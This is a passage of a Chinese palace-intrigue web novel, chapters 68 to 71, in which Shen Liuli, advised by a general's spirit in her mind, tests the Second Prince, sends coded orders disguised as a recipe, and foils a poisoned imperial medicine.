他走到书案前,目光在那本《南华医经》上,不着痕跡地停留了片刻,随即亲自提起桌上的茶壶,为她斟上了一杯热茶。
“沈小姐不必惊慌。”他将茶杯推到沈琉璃的面前,温言道,“此处清净,你若喜欢,多待片刻也无妨。”
他的态度,亲切得就像一个兄长。可他越是如此,沈琉璃的心中便越是警惕。
“他看出来了。”君北玄的声音,在她脑海中响起,“这个家伙,远比他那个只知道喊打喊杀的大哥,要难对付得多,他是在跟你演戏。”
“我知道。”沈琉璃在心里回应。
她端起茶杯,却没有喝,只是低着头,用杯盖轻轻地撇着浮沫,摆出了一副坐立不安的模样。
“表哥,”许久,她才像是鼓起了巨大的勇气,抬起头说道,“我知道,我今日前来是唐突了,可我实在是走投无路了。”
她将自己,是如何被大皇子步步紧逼,又是如何被靖亲王软禁,求助无门的“悲惨”经历,用一种无助的语气,娓娓道来。
她将自己,完美地塑造成了一个,在权力的漩涡中,苦苦挣扎的受害者。
李昭静静地听着,脸上始终挂着温和的笑容,既没有打断她,也没有表示同情。
直到沈琉璃说完,他才缓缓地放下了手中的茶杯。
“表妹的遭遇,孤深感同情。”他叹了口气,缓缓说道,“只是大哥他毕竟是储君,行事虽然霸道了些,却也未必就是针对你,或许这其中有什么误会也说不定。”
他这番话说得滴水不漏,将自己摘得干干净净。
“误会?”沈琉璃像是听到了什么天大的笑话,她猛地抬起头。
“二殿下!”她的声音,陡然拔高,“您真的觉得,这一切都只是误会吗?!”
她猛地站起身,因为动作太大,竟“不小心”将桌案上的一摞书卷,尽数扫落在地!
“哗啦——!”
书卷散落一地,而那本被她刻意压在最底下的《南华医经》,也正好摔在了李昭的脚边。
书页翻开,那张被夹在其中的卷宗,也随之暴露在了二皇子的面前!
春桃发出一声短促的惊呼,连忙上前去捡,却被沈琉璃一个眼神制止了。
李昭的目光,落在了那张图纸上。
他缓缓地弯下腰,将那本书和那张图纸,一并捡了起来。
他没有先去看那张图纸,只是将目光,投向了那本,早已失传的医经孤本。
“《南华医经》?”他看着沈琉璃,脸上露出了一个笑容,“沈小姐竟有此等奇书?不知可否借孤一阅?”
沈琉璃看着他,最后的豪赌已经开始了。
她深吸一口气,看着李昭的眼睛,说道:“此书,并非借。”
“而是赠予殿下。”
“只求殿下,能为琉璃,为我们沈家,寻一条活路。”
第68章 毒蛇的试探
“只求殿下,能为琉璃,为我们沈家,寻一条活路。”
当沈琉璃这句话,在寂静的书房内缓缓落下时,空气仿佛凝固了。
春桃早已吓得屏住了呼吸,一双眼睛在自家小姐和二皇子之间来回打转,生怕下一秒就会血溅当场。
然而,二皇子李昭的反应,却完全出人意料。
他只是伸出手指,轻轻地抚过书卷的封面,动作轻柔得像是在抚摸情人的肌肤。
“《南华医经》……”他喃喃自语,声音里带着一种发自内心的赞叹,“本王寻了此书近十年,踏遍了乾国所有的书斋,甚至派人远赴南洋求索,都未能得见真容。却不想今日,竟能在此处得见,当真是缘分。”
他这番话,说得云淡风轻,却让沈琉璃的心,猛地一沉。
“这个家伙,比靖亲王还要难对付!”君北玄的声音,在她脑海中响起,充满了前所未有的警惕,“靖亲王是猛虎,喜怒形于色,至少还能让你看到他的獠牙。而眼前这个是毒蛇,一条将自己伪装得完美无瑕的毒蛇!他明明已经看到了你递过去的刀,却偏偏要跟你聊什么医书!他在试探你!”
沈琉璃当然知道他在试探。
她强行压下心中的不安,脸上露出了一个惶恐的表情。
“能为殿下寻得心爱之物,是琉璃的福气。”她低着头,声音里带着几分颤抖,“只求殿下能……”
“沈小姐,”李昭却忽然打断了她,他抬起头,笑着问道,“孤倒是有些好奇,此等早已失传的孤本,表妹是从何处得来的?莫不是,你那揽月楼中,还藏着一位能默写古籍的奇人?”
来了!
沈琉璃知道,真正的交锋,现在才刚刚开始。
她的大脑飞速运转:“不瞒殿下,此书乃是我亡母的遗物。”
“哦?沈夫人?”李昭的眉梢,几不可见地轻轻一挑。
“是。”沈琉璃点了点头,眼眶适时地红了起来,“家母生前,体弱多病,久病成医,便搜罗了许多医书古籍。这本《南华医经》,便是她当年,从一位云游的方士手中,重金购得的。只可惜,家母福薄……”
她没有再说下去,只是用手帕,轻轻地拭了拭眼角。
“哼,演得倒还挺像。”君北玄在她脑中,冷冷地评价道,“不过,倒也确实是你们女人惯用的伎俩。”
“王爷,您若是觉得我演得不好,那不如您现在出去,跟他好好聊聊?”沈琉璃在心里,毫不客气地回敬了一句。
君北玄:“……”
李昭静静地看着她,脸上没有任何表情。许久,他才缓缓地合上了手中的医经。
“原来如此。”他点了点头,声音里听不出喜怒,“既是沈夫人的遗物,那便更是珍贵了。表妹将此等宝物赠予孤,这份情谊,孤心领了。”
他说着,竟真的将这本书收入怀中,仿佛真的只是在欣赏一本医书。
自始至终,他都没有再看那张,足以将大皇子置于死地的图纸一眼!这份定力,让沈琉璃的心中,升起了一股更深的寒意。
她知道,自己今日面对的,是一个真正的对手。
“殿下,”她咬了咬牙,决定不再与他兜圈子,“那……那张图……”
“图?”李昭像是才想起来一般,他拿起那张图纸,在灯火下随意地扫了一眼,随即便将其放在了桌上。
“画得还算精细。”他端起茶杯,浅呷一口,看似随意地问道,“只是,这画图所用的墨,似乎并非寻常的松烟墨,倒像是混了些许西域的‘金刚石’。沈小姐手下,竟还有此等精通舆图绘制的能人?”
这个问题,刁钻到了极点!
他没有问图纸的真假,也没有问图纸的来历。他只是,从一个最不起眼的细节入手,再次对沈琉璃进行试探!
一个普通的深闺弱女,如何能知道这些?!
“完了!”君北玄在她脑中,也忍不住低喝一声,“这个家伙太阴险了,他这是在逼你露出马脚!”
沈琉璃的心跳,几乎要停止了。
她知道,自己一旦回答不上来,之前所有的铺垫,都将功亏一篑!
就在这千钧一发之际,她忽然想起了,君北玄之前在教她画那朵“十八蕊”昙花时,所说的那番话。
“殿下见笑了。”她抬起头,脸上露出了一个略带羞涩的笑容,“琉璃哪里有什么能人,这不过是琉璃平日里,自己胡乱捣鼓的一些小玩意儿罢了。”
“哦?此话怎讲?”李昭的眼中,露出了几分好奇。
“殿下有所不知,”沈琉璃解释道,“琉璃平日里,除了打理铺子,最大的爱好,便是临摹一些前朝的舆图。只是,寻常的墨色太过单调,我便想着,在里面混入一些磨碎的宝石粉末,如此一来,画出的山川河流,在烛火下便会闪闪发光,煞是好看。”
她顿了顿,脸上露出了几分不好意思的神情。
“让殿下见笑了,不过是些女儿家的无聊把戏罢了。”
这番解释,堪称完美!
它不仅将这个致命的破绽,变成了一个少女的爱好,更是给她自己,塑造了一个,女儿家天真烂漫的形象!
“好一个‘女儿家的无聊把戏’。”君北玄在她脑中,发出了一声由衷的赞叹,“沈琉璃,论胡说八道的本事,你确实是个人才。”
李昭静静地看着她,缓缓地放下了手中的茶杯。
他忽然笑了。
那笑容,带上了几分欣赏。
“沈小姐,”他缓缓开口,“你可知,就在方才,前院的诗会上,安王叔亲自作了一首咏梅诗?”
这个话题,转得极其突兀,让沈琉璃的心再次提了起来。
“……琉璃不知。”
“那首诗,写得极好。”李昭看着窗外,那些在风雪中傲然挺立的梅花,悠悠说道,“诗中有一句,孤甚是喜欢。”
“‘遥知不是雪,为有暗香来’。”
他说完,便不再看沈琉璃。
“医书,孤收下了。”他缓缓说道,“至于沈小姐所求的‘活路’……”
他顿了顿,转过头看着沈琉璃,说道:“有时候,最好的药方,往往需要
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最猛烈的药引。这味药,孤还需要好生斟酌一番。”
他说完,便对着门外,淡淡地吩咐道:“来人,送沈大小姐回席。”
这,便是他最后的答案。
他没有承诺结盟,却也没有拒绝。
他只是收下了那本医书,也收下了那把足以致命的刀。
沈琉璃知道,自己今夜的投石问路,成功了。
她对着李昭,盈盈一拜,随即在春桃的搀扶下,转身离去。
在她即将走出书房的那一刻,李昭的声音,又从她身后,不紧不慢地响了起来。
“沈小姐。”
“殿下还有何吩咐?”
“你那方手帕,绣工不错。”李昭看着她,笑着说道,“只是,那昙花的花蕊,似乎少了一根。”
沈琉璃的身体,猛地一僵!
李昭一句云淡风轻的话语,如同一根淬了剧毒的冰针,悄无声息地刺入了沈琉璃的心脏。
十八根花蕊。
这个秘密,是她与君北玄之间,用以联系北境狼卫的暗号!除了她、君北玄,以及陆风,普天之下,绝不可能有第四个人知道!
可现在,这个秘密竟被二皇子李昭,轻描淡写地说了出来。
“完了。”
这两个字,在君北玄的脑海中轰然炸响。这位身经百战的战神,此刻的声音里,竟带上了前所未有的恐慌。
“有内鬼!陆风身边,一定出了内鬼!不可能!狼卫的忠诚,是用命换来的,绝不可能有人背叛!”他的灵魂,在孤狼坠中疯狂地咆哮着,“那是怎么回事?!他到底是怎么知道的?!”
君北玄彻底乱了。
这比他发现自己被人毒杀时,还要让他感到恐惧。因为,这已经不是单纯的军事上的失败,这是一种他完全无法理解的渗透!
沈琉璃的后背,早已惊出一身冷汗,但她的脸上却没有露出半分破绽。
她缓缓地转过身,看着李昭,脸上露出了一个困惑的笑容。
“殿下在说什么?”她歪着头,眨了眨眼,“琉璃愚钝,听不明白。一朵花的绣样而已,花蕊是多一根还是少一根,又有什么关系呢?”
李昭看着她,没有再继续追问。他只是笑了笑,那笑容更显意味深长。
“或许吧。”他缓缓说道,“许是孤看错了也说不定。”
他说完,便对着沈琉璃,做了一个“请”的手势。
沈琉璃对着李昭,盈盈一拜,随即就快步走出了这间,让她感到窒息的书房。
回去的路上,春桃早已是六神无主。
“小姐……小姐……”她抓着沈琉璃的手,声音都在发颤,“那个二殿下,他好吓人啊。他刚才那句话是什么意思?什么花蕊少了一根?他是不是看出了什么?”
“没什么。”沈琉璃强作镇定地拍了拍她的手,柔声安慰道,“他只是在跟我开玩笑罢了,别自己吓自己。”
话虽如此,可她那藏在袖中的另一只手,却早已是冰冷一片。
她们没有再回宴席,而是径直走到了靖亲王的车驾旁,安静地等待着。
第69章 第十八根花蕊
不多时,宴席散场。
靖亲王与安王,并肩从园中走了出来。
“皇兄今日,似乎兴致不高啊。”安王脸上挂着慈祥的笑容,看似随意地问道。
“人老了,不比年轻人了。”靖亲王淡淡地回应,“今夜的梅花不错,只是这风也太冷了些。”
他说完,便不再多言,径直走上了马车。
马车缓缓启动,车厢内陷入了一片沉默。
许久,靖亲王才缓缓地开了口。
“那位二殿下,跟你说什么了?”
沈琉璃的心,猛地一跳。
她知道,靖亲王这个老狐狸,看似一直在前院赏梅,实则后院发生的一切,都未能逃过他的眼睛。
“回王爷,”她低着头,轻声说道,“二殿下他,只是与琉璃,闲话了几句家常。”
她没有说实话。
因为她不知道,靖亲王在这盘棋里,到底扮演着一个什么样的角色。
“十八根花蕊”的秘密,是她与君北玄最后的底牌,她绝不可能将其轻易地暴露在这个“老狐狸”的面前。
“是吗?”靖亲王不置可否地笑了笑,没有再继续追问。
他只是缓缓地闭上了眼睛,开始闭目养神。
马车,一路无话。
直到听竹苑的门口,在沈琉璃即将下车的那一刻,靖亲王的声音,才又从她身后,不紧不慢地响了起来。
“丫头。”
“王爷还有何吩咐?”
“你今日,做得很好。”靖亲王没有睁眼,只是淡淡地说道,“那份‘礼物’二殿下很喜欢,你不必再待在这听竹苑了。”
这个消息,让沈琉璃和春桃都愣住了。
“王爷的意思是?”
“本王的意思是,”靖亲王缓缓说道,“此案牵扯甚广,为免打草惊蛇,也为了你自身的安全。从明日起,你便搬回尚书府去吧。”
“不过,”他话锋一转,“名义上,你依旧是本王的‘钦犯’,需在家中‘禁足思过’。没有本王的手令,任何人不得探视。”
“当然,你需要继续与二殿下保持联系。”
“本王要你,替本王看清楚。”
“他这条藏在草丛里的毒蛇,到底想咬谁。”
……
当沈琉璃重新回到尚书府,回到那间熟悉的晚晴居时,已是深夜。
她屏退了所有下人,独自一人坐在窗前,看着窗外那轮残月,只觉得浑身冰冷。
她虽然成功地离开了靖亲王府,可她知道,自己只是从一个小囚笼,走进了一个更大的囚笼。
“他到底是怎么知道的?!”
君北玄的声音,在她脑海中疯狂地咆哮着,带着无边的困惑。
这个曾经让人敬畏的北境战神,此刻像一头被困在笼中的野兽,焦躁不安。
“冷静一点!”沈琉璃在心里,低喝一声,“您现在发怒,解决不了任何问题!”
“本王如何冷静?!”君北玄怒道,“知晓此事的人,不超过五个!除了陆风,便是顾九那个酒鬼,都只知其一,不知其二!李昭他一个深居简出的乾国皇子,是如何知道得如此清楚的?!”
沈琉璃强迫自己冷静下来,她的大脑飞速运转着,将所有的可能性,都在心中一一罗列。
“内鬼,是最直接的可能。”她缓缓说道,“但您刚才也说了,狼卫的忠诚毋庸置疑。”
“那便只剩下两种可能。”她的声音,变得无比凝重。
“第一,二皇子李昭的情报网,已经渗透到了一个我们无法想象的地步。他甚至,能在我们所有人的身边,都安插上他的眼睛。”
这个猜测,让君北玄的灵魂,都为之战栗。
“第二种可能呢?”
“第二种可能……”沈琉璃看着窗外,轻声说道,“便是这背后,还站着一个,我们所有人都忽略了的,更可怕的敌人。”
“安王,李宗霖。”君北玄几乎是与她同时,说出了这个名字。
“没错。”沈琉璃点了点头,“您不觉得奇怪吗?今日这场赏梅宴,从头到尾都透着一股诡异。安王他身为主人,看似与世无争,实则更像一个高明的棋手,将我们所有人都**于股掌之间。”
“他为何要邀请靖亲王?又为何要将我这个‘钦犯’也一并请来?又为何,要将二皇子的歇脚处,安排在那么一个僻静的地方?”
“这一切,都像是早已为我准备好的一个局!”
“他们借我的手,将那份‘投名状’送到二皇子手上的局!”
君北玄沉默了。
他不得不承认,沈琉璃的这个猜测,虽然大胆,却是最接近真相的可能。
“可……可他为什么要这么做?”他还是有些想不通,“他与大皇子、二皇子之间,并无直接的利益冲突,他为何要搅这趟浑水?”
“我不知道。”沈琉璃摇了摇头,“但我们很快就会知道了。”
她站起身,走到书案前,铺开了一张空白的宣纸。
“现在,我们不能再等了。”她的眼中,寒光闪过,“我们必须立刻与顾九取得联系!”
“你要做什么?”
“我要让他,停止追查大皇子。”沈琉璃的指尖,在舆图上重重一点。
“我要将我们所有的力量,都集中起来!”
“去查一个人!”
“安王,李宗霖!”
她走到书案前,铺开一张空白的宣纸,开始研墨。
“你要做什么?”终于,君北玄还是没能忍住。
“写信。”沈琉璃的回答,简单直接。
“给陆风写信?现在?”君北玄的声音里,带着几分不解,“你疯了吗?!尚书府内外,此刻必然布满了各方势力的眼线!你现在送出去的任何一张纸条,都有可能成为呈到他们案头上的罪证!”
这是君北玄,根据当前的处境做出的最理智的判断。任何时候,在没有绝对把握的情况下,切断与外界的联系,固守待援,都是最稳妥的选择。
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>“王爷,您说的对。”沈琉璃点了点头,竟是难得地没有反驳他,“所以,我们这次不送‘军令’,我们送‘菜单’。”
“菜单?”君北玄感觉自己的脑子,再一次跟不上这个女人的思路了。
“没错。”沈琉璃微笑着说道,“揽月楼生意火爆,我这个做主人的,虽然身陷囹圄,却也不能忘了为楼里的生意添砖加瓦。我打算,为我们最尊贵的客人们,新研发一道名为‘佛跳墙’的甜品,将食谱送出去,让忠叔交由楼里的厨子试做,这不是很合情合理吗?”
君北玄:“……”
他忽然觉得,自己当年在北境,与那些只会用蛮力冲撞的蛮族将领打了十几年,简直是一种浪费。眼前这个女人,才是他这辈子遇到过的,最难缠的对手。
“胡闹!”他虽然在心里,已经默认了这个计划,但嘴上却依旧不肯服输,“一份甜品的食谱,如何能传递军情?你当他们是神仙吗?能从你的‘佛跳墙’里,品出安王的狼子野心?”
“狼卫自然是品不出来。”沈琉璃笑道,“但顾九先生,一定可以。”
她提笔蘸饱了墨,在那张洁白的宣纸上,写下了一份看起来再寻常不过的食谱。
“主料:东海明珠鲍十二颗,南海鱼翅骨三钱,辅以西域雪莲子、江南桂花蜜……”
她写的每一个字,都清秀而有力。可字里行间,却用一种只有她和顾九才懂的药理暗语,将她所有的指令,都隐藏了进去。
“‘东海明珠鲍’,性寒,味咸,主入肝经,有平肝息风之效。十二颗,代表十二个时辰,意为‘全天候监视’。”
“‘南海鱼翅骨’,看似名贵,实则无用,只有‘支撑门面’之功。三钱,代表了表哥。这是在告诉顾九,三皇子在安王这等老狐狸面前,不过是个中看不中用的花架子。”
“而最后的‘桂花蜜’,则是在提醒他,此次行动的核心,不在于‘杀’,而在于‘诱’。要像蜜糖一样,无声无息地渗透进去,找到敌人最甜,也最致命的弱点。”
当沈琉璃将这份堪称天衣无缝的“菜单”写完后,君北玄在她脑中,已经没了声音。
他发现,自己根本无法去评价眼前这个女人的计谋。因为,她的思想,早已超出了他所能理解的范畴。
第二日清晨,忠叔的马车,消失在街角尽头的时候。
尚书府对面,一座茶楼的二楼雅间内。
安王李宗霖,正缓缓地放下手中的茶杯。他的脸上,依旧挂着慈祥的笑容。
“皇兄,”他看着对面的靖亲王,轻声说道,“看来,我们这位沈家丫头,已经开始不甘寂寞,往外递刀子了。”
靖亲王没有说话,只是将手中的一枚黑子,轻轻地落在了棋盘上,发出了一声清脆的声响。
“由她去吧。”许久,他才缓缓开口,“本王也想看看,这只被关在笼子里的小狐狸,到底能咬断多粗的锁链。”
第70章 皇帝的恩典
揽月楼后院,一间平日里用来堆放药材的库房内。
当顾九看到那份,由忠叔送来的菜单时,他的那双桃花眼,瞬间就亮了。
“佛跳墙?还是甜的?”他啧啧称奇,将那份食谱在手中反复端详,“我们这位主公的脑子里,到底都装了些什么稀奇古怪的东西?用鲍鱼和鱼翅来做甜品,也亏她想得出来。”
“顾先生,”一旁的忠叔,看着他这副吊儿郎当的模样,忍不住皱起了眉头,“主公冒着如此大的风险送出消息,不是让你来研究菜谱的。”
“我知道,我知道。”顾九不耐烦地摆了摆手,他将那份食谱,凑到鼻尖轻轻一嗅,随即,脸上的那份玩世不恭,便缓缓地凝固了。
“……不对。”他喃喃自语,“这墨里有‘龙葵’的味道。”
“龙葵?”
“没错。”顾九的脸色,变得无比凝重,“这是一种极其罕见的草药,本身无毒,但若与‘甘草’同用,便会产生一种能让人产生幻觉的奇特效果。主公在用这种方式告诉我们,她怀疑,我们之前的所有判断,都只是敌人想让我们看到的‘幻觉’!”
他迅速地将那份食谱,用特制的药水浸泡。
片刻之后,那张原本写满了“山珍海味”的宣纸上,竟缓缓地浮现出了几个,用特殊药水写就的蝇头小字!
“查安王!弃李裕!”
当那名在陆风离开后,临时负责统领狼卫的副统领“柒”,看到这六个字时,他那张坚毅的脸上,也露出了前所未有的震惊!
查安王?!
那个终日礼佛,与世无争,连皇帝都要敬他三分的安王?!
“主公她……她是不是搞错了?”饶是柒,此刻也忍不住对这个指令,产生了怀疑。
“她不会错。”顾九却缓缓地摇了摇头,“我早就说过,我们这位主公,是天底下最会**人心的妖精,她看到的永远是别人看不到的东西。”
“传我的令!”陆风不再有任何犹豫,他对着门外,沉声喝道,“命所有狼卫,停止对大皇子府的监视!将我们所有的力量,都集中起来!”
“目标,”他的眼中,寒光闪过,“安王府!”
……
就在狼卫,开始将所有的力量,都转向安王府的时候。
一场更大的风暴,却正在他们看不见的地方,悄然酝酿。
第三日的清晨,尚书府的大门,忽然被一阵急促的马蹄声给惊动了。
一队身着宫廷禁卫服饰的骑士,护送着一辆华丽的马车,停在了府门前。
车帘掀开,走下来的竟是当朝太医院的院使,张太医!
“圣上有旨!”为首的禁卫统领,高举圣旨,朗声喝道,“听闻沈家大小姐,近日因受惊而体弱不适,圣心甚忧。特派张院使前来,为沈大小姐诊平安脉!任何人不得阻拦!”
这个消息,如同一道惊雷,在整个尚书府炸响!
父亲沈从安,在接到消息后,第一时间便赶到了晚晴居。
“琉璃!”他的脸上,满是凝重,“这到底是怎么回事?!陛下他为何会突然派太医来为你诊脉?!”
沈琉璃的心,也沉入了谷底。
她知道,这不是恩典。
这是,来自皇权最直接的试探!
“是安王。”君北玄的声音,在她脑海中响起,“他出手了。”
当“安王出手了”这几个字在沈琉璃心中落下时,晚晴居外,由禁卫统领高声宣读的圣旨,便如同滚滚而来的战车,带着不容抗拒的皇权意志,碾碎了尚书府最后的平静。
父亲沈从安的脸色,在一瞬间变得无比难看。他看着眼前这个须发皆白的老者,躬身行礼,声音艰涩:“有劳张院使亲自跑一趟了。”
这位张院使,并非等闲之辈。
他乃是太医院的院首,专为皇帝和太后诊脉的圣手,等闲的皇子妃嫔都未必能请得动他。
如今,竟为了给一个尚未出嫁的臣女“诊平安脉”。
这不是恩典,这是敲打,更是审视!
“沈尚书不必多礼。”张院使捻着胡须,不着痕迹地扫过了沈琉璃的脸,“老夫也是奉旨行事,还请大小姐配合。”
“不敢。”沈琉璃屈膝一福,声音柔弱。
晚晴居内,春桃端着茶盘的手,抖得连上面的盖碗都在“叮当”作响。沈从安则负手立于一旁,眉头紧锁,整个房间的气氛,压抑得如同暴风雨前的海面。
沈琉璃缓缓地坐于榻上,将自己的手腕,轻轻地放在了那方早已备好的脉枕上。
张院使在她对面坐下,三根手指轻轻地搭在了她的寸口之上。
所有人都屏住了呼吸,等待着这位御医的最后宣判。
“你这丫头,心跳得跟打鼓似的,就这点出息?”君北玄的声音,在她脑海中响起,充满了毫不掩饰的鄙夷,“一个行将就木的老头子而已,就把你吓成这样?想当年,本王被数万敌军围困,连眼皮都未曾眨一下!”
“王爷,您说的轻巧。”沈琉璃在心里,有气无力地回敬了一句,“您那是被数万敌军围着,至少还知道敌人长什么样。我现在是被一个看不见的皇帝盯着,他想让我**,我连选的余地都没有。”她顿了顿,补充道,“再说了,我这不是害怕,我这叫‘入戏’,您不懂。”
她一边在脑海里跟君北玄斗着嘴,一边强迫自己,将所有的注意力都集中在了手腕上那三根手指的力道变化上。
张院使的诊断,极其仔细。
他时而闭目凝神,时而眉头微蹙,那三根手指的力道也忽轻忽重,像是在探寻着什么。
“他在试探你。”君北玄的声音,忽然变得凝重起来,“寻常诊脉,讲究的是‘平稳均匀’。可他的指力,却在你的‘心、肝、脾’三条经脉上,反复施压。他不是在诊病,他是在用内力,刺激你的血脉,观察你的反应!”
君北玄的提醒,让沈琉璃的心,猛地一紧!
她怎么也没想到,这看似寻常的诊脉背后,竟还隐藏着如此凶险的机锋!
她立刻调动起所有的心神,努力地控制着自己的呼吸和心跳,让它们随着对方指力的变化而起伏。时而急促,时而平缓,完美地呈现出了一个,因受惊而心神不宁的脉象。
许久,张院使才缓缓地收回了手,睁开眼看着沈琉璃。
“如何?”沈从安第一个,急切地开口问道。
张院使沉吟了片刻,才缓缓开口:“从脉象上看,大小姐的身体并无大碍,只是……”
他话锋一转,脸上露出了几分凝重:“只是大小姐
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的脉象,时而如奔马,时而如游丝,浮躁不定,毫无章法,此乃典型的‘心神失养’之症啊。”
“这……”沈从安的脸色,变得更加难看了。
他知道,这个诊断虽然虚无缥缈,却比任何实质性的疾病都要可怕!
一个即将嫁入他国的未来太子妃,“心神失养”这四个字,足以让大徽王朝找到一百个理由来退掉这门婚事!
“那……那可有法子医治?”他艰难地问道。
“自然是有的。”张院使点了点头,“此症病根在‘心’,还需静养。寻常的汤药,效力太慢。老夫这里,倒有一剂宫廷秘方,乃是用天山雪莲辅以数十种安神定气的珍贵药材,精心熬制而成的‘静心安神汤’。”
他说着,便从自己的药箱里,取出了一张早已写好的药方,递给了沈从安。
“只是,”他补充道,“此方对火候和药材的配比,要求极其严苛,非宫中御药房的巧匠不能为。这样吧,从明日起,老夫会亲自督促御药房,每日熬制一份,派专人送到府上。大小姐只需连服七日,定能药到病除。”
这番话说得滴水不漏,充满了“皇恩浩荡”的体恤。
可听在沈琉璃和君北玄的耳中,却不亚于最后的宣判!
“好一招‘釜底抽薪’!”君北玄在她脑中,冷冷地说道,“他这是要用陛下的‘恩典’,来给你送催命的**啊!”
沈从安拿着那张,仿佛有千斤重的药方,只觉得自己的手都在发抖。
他知道,自己已经没有拒绝的余地了。
拒绝,便是抗旨,是公然地质疑皇帝的“好意”。
接受,便等于将自己女儿的性命,交到了一个看不见的敌人手中。
“……多谢,陛下隆恩。”最终,他从牙缝里,挤出了这几个字。
送走了张院使和那一队杀气腾腾的禁卫,整个晚晴居,都陷入了一片死寂。
春桃早已是吓得六神无主,抱着沈琉璃的胳膊,泣不成声。
而沈从安,则独自一人坐在书案后,看着那张薄薄的药方,一夜白头。
“完了……全完了……”他喃喃自语,声音里充满了无边的绝望。
他戎马一生,在朝堂上与政敌斗了半辈子,都未曾像此刻这般无力。因为,他这一次面对的,是那至高无上的皇权。
“父亲。”
就在此时,沈琉璃的声音,异常平静地响了起来。
她走到沈从安的面前,亲自为他倒了一杯热茶。
“天,还没塌下来呢。”她轻声说道。
沈从安抬起头,看着自己女儿,那张略显苍白的脸,眼中充满了不敢置信。
“琉璃……”他声音沙哑,“你难道不知道,这……”
“我知道。”沈琉璃打断了他,“我知道,这碗每日由宫中送来的‘安神汤’,就是大皇子送给我的催命符。我也知道,我们一旦接了这道旨,便再无任何退路。”
“那你为何……”
“因为,”沈琉璃的眼中,闪烁着前所未有的光芒,“有时候,最危险的地方,往往也藏着最大的生机。”
他们不是想用这碗药来杀我吗?”
“那我们就将计就计。”
“让这碗药,变成能将他们所有人,都拖入地狱的刀!”
第71章 借刀之计
沈琉璃一句掷地有声的话,让沈从安浑身一震,他看着眼前这个熟悉又陌生的女儿。
“将计就计?”他声音沙哑,充满了怀疑,“琉璃,你可知自己在说什么?那每日送来的是陛下的‘恩典’,是御药房亲手熬制的汤药!我们的一举一动,都在别人的监视之下,你又如何能将计就计?”
“父亲,”沈琉璃没有直接回答,而是反问道,“您觉得安王为何要在此刻出手,借陛下的名义来试探我?”
这个问题,让沈从安陷入了沉思。
“因为,他等不及了。”沈琉璃的思路,在这一刻变得无比清晰,“‘一线天’的内讧,虽然让大皇子元气大伤,却也同样暴露了我们的一部分实力。安王和靖亲王这些老狐狸,最擅长的便是平衡之术。他们既不想让大皇子一家独大,也同样不希望看到一个无法掌控的三皇子迅速崛起。”
“所以,他便借着陛下的手,送来了这碗‘安神汤’。”
“这碗汤,一为试探,看我是否真的有能力化解此等阳谋;二为警告,提醒我不要忘了自己的身份,不要妄图去触碰那不该碰的东西。”
“第三,也是最重要的一点。”沈琉璃的眼中,寒光闪过,“他要借我的手,为他自己除去一个心腹大患。”
“你是说……”沈从安的呼吸,陡然急促了起来!
“没错。”沈琉璃点了点头,“他要杀的不是我,他要杀的是大皇子李裕!”
“这……这怎么可能?!”饶是沈从安久经官场,也被女儿这个大胆的猜测给惊得站了起来,“安王与大皇子,并无直接的利益冲突,他为何要……”
“因为,卧榻之侧,岂容他人酣睡?”君北玄的声音,在她脑海中响起,“一个手握私兵,随时都有可能发动兵变的储君,对任何一个潜在的皇位竞争者而言,都是悬在头顶的利剑。安王那个老狐狸,看似与世无争,实则野心最大。他不出手则已,一出手必然是要一击致命!”
沈琉璃将君北玄的分析,用自己的语言转述给了父亲。
“父亲您想,若我真的‘病故’于这碗‘安神汤’下,谁会是最大的获益者?”
沈从安的脸色,变得无比难看。
“届时,三皇子为了替我复仇,必然会与大皇子不死不休。而二皇子,也绝不会放过这个坐收渔翁之利的机会。到那时,三龙夺嫡,朝堂大乱,而他安王便可名正言顺地以‘皇叔’之名,站出来收拾残局,将所有权力都收入囊中!”
这番话,如同一幅黑暗的画卷,在沈从安的面前缓缓展开。他这才意识到,自己之前所看到的,不过是冰山一角。
“那……那我们该怎么办?”他看着女儿,声音里带上了几分无助。
“很简单。”沈琉璃继续说道,“既然他想让我们当他手中的刀,那我们便如他所愿。”
“只是,这把刀要砍向谁,何时出鞘,便由不得他了。”
她附耳到沈从安的耳边,将一个极其大胆的计划,一五一十地说了出来。
……
第二日清晨,当御药房的小太监,再次提着食盒,准时出现在尚书府门口时,迎接他的不再是昨日的愁云惨雾。
沈从安亲自在门口等候,一脸的感激之情。他不仅重重地赏赐了这名小太监,更是对着皇宫的方向,三跪九叩,高呼“陛下圣明,皇恩浩荡”。
这番操作,让原本还存着几分戒备的小太监,也彻底放下了心。在他看来,这沈家父女,终究还是屈服于皇权之下了。
而那碗盛着“安神汤”的药碗,也被春桃“小心翼翼”地端回了晚晴居。
“小姐,您真的要喝吗?”春桃看着碗里那黑乎乎的药汁,小脸都皱成了一团。
“自然不喝。”沈琉璃摇了摇头,她从袖中取出一个小小的瓷瓶,倒出了一粒无色无味的药丸,扔进了药碗中。
只见那药丸入水即化,原本还散发着淡淡药香的汤药,瞬间便变得清澈如水,再无半分异味。
“这是……”
“这是顾九那个酒鬼,昨夜连夜赶制出来的‘化药散’。”君北玄在她脑中,懒洋洋地解释道,“此物,能化解天下大多数的**,唯一的缺点嘛,就是喝了之后,可能会有点闹肚子。”
沈琉璃没有理会他的调侃,她将那碗“无毒”的汤药,倒入了窗外的花盆里,随即又取出另一份,由顾九早已备好的汤药,装进了碗中。
做完这一切,她才端起汤药,在窗边坐下。
接下来的五天,尚书府内风平浪静。
每日清晨,御药房的“催命符”都会准时送达,而沈琉璃,也都会将它变成滋养花草的肥料。
她的“病情”,在所有人的眼中,似乎“好转”了起来。
而在这份虚假的平静下,一张无形的大网,也正在悄然收紧。
揽月楼内,顾九在收到了沈琉璃的第二份“菜单”后,便进入了“战备状态”。
他不再终日饮酒,而是将自己关在了药房里,日夜不休。无数珍贵的药材,如同流水一般,被送入了他的房间。
没有人知道,他到底在做什么。
而另一边,早已抵达通州港外的陆风,也终于等来了他此行的目标。
那是一个风平浪静的夜晚,一艘挂着“四海商盟”旗帜的商船,悄无声息地驶入了港口。
陆风和他手下的狼卫,早已潜伏在了码头最黑暗的角落里。他们看着那个,从船上走下的信使,眼中闪烁着冰冷的寒光。
然而,就在他们准备动手,执行“换信”计划的时候。
一个意想不到的变数,出现了。
只见在码头的另一端,竟也有十几道黑影,悄无声息地朝着那名信使,包抄了过去!
他们的身手矫健,配合默契,显然也是训练有素的**!
“不好!有第三方势力!”
陆风的心,猛地一沉!
他怎么也没想到,在这小小的通州港,竟还隐藏着另一伙,与他们目的一致的敌人!
眼看,一场螳螂捕蝉,黄雀在后的好戏,就要上演!
陆风知道,自己必须立刻做出决断!
是坐山观虎斗,还是……
“动手!”
